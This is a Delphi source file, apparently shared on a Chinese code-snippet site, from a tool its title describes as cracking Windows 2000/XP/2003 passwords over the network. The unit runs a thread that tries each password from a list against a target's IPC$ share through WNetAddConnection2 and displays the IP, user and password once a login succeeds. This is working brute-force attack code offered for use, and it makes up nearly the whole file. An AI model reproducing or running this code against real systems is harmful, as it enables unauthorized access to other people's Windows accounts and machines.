unit2.~pas

来自「线破 WEINDOWS2000/XP/2003 密码的程序」· ~PAS 代码 · 共 100 行

~PAS
100
字号
unit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, unit1;

type

  arrayPW=array [0..10000] of String[10];

  sao = class(TThread)
  public
    constructor Create(PW:arrayPW;count:integer;tIP:String;tUSER:String);
  private
    { Private declarations }
    MYPW:arrayPW;
    PWCNT:integer;
    IP:String;
    USER:String;
    CHKPW:String;
  protected
    procedure Execute; override;
    procedure DoProgress;
    procedure ShowPWS;
  end;

implementation

{ Important: Methods and properties of objects in VCL or CLX can only be used
  in a method called using Synchronize, for example,

      Synchronize(UpdateCaption);

  and UpdateCaption could look like,

    procedure sao.UpdateCaption;
    begin
      Form1.Caption := 'Updated in a thread';
    end; }

{ sao }
constructor sao.Create(PW:arrayPW;count:integer;tIP:String;tUSER:String);
begin
    MYPW:=PW;
    PWCNT:=count;
    IP:=tIP;
    USER:=tUSER;
    inherited Create(False);
end;

procedure sao.Execute;
var
NetSource:TNetResource;
a:Longint;
b:integer;
begin

for b:=1 to PWCNT do
begin
   NetSource.dwType:=RESOURCETYPE_ANY;
   NetSource.lpLocalName:='';
   NetSource.lpRemoteName:=pchar('\\'+IP+'\ipc$');
   NetSource.lpProvider:='';
   CHKPW:=MYPW[b];
   a:=WnetAddConnection2(NetSource,pchar(CHKPW),pchar(USER),0);
   Synchronize(DoProgress);
   if a=0 then
      begin
         WNetCancelConnection2(NetSource.lpRemoteName,0,True);

         Synchronize(ShowPWS);

         exit;
      end;
end;
if form1.listbox1.Items.Count=0 then form1.listbox1.Items.Add('破解失败');
form1.Height:=285;
end;


procedure sao.DoProgress;
Var
tPOS:integer;
begin
    tPOS:=form1.ProgressBar1.Position;
    inc(tPOS);
    form1.ProgressBar1.Position:=tPOS;
end;

procedure sao.ShowPWS;
begin
    form1.listbox1.Items.Add(IP+'-->'+USER+':'+'"'+CHKPW+'"');
    form1.ProgressBar1.Position:=form1.ProgressBar1.Max;
    form1.Height:=285;
end;

end.
 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?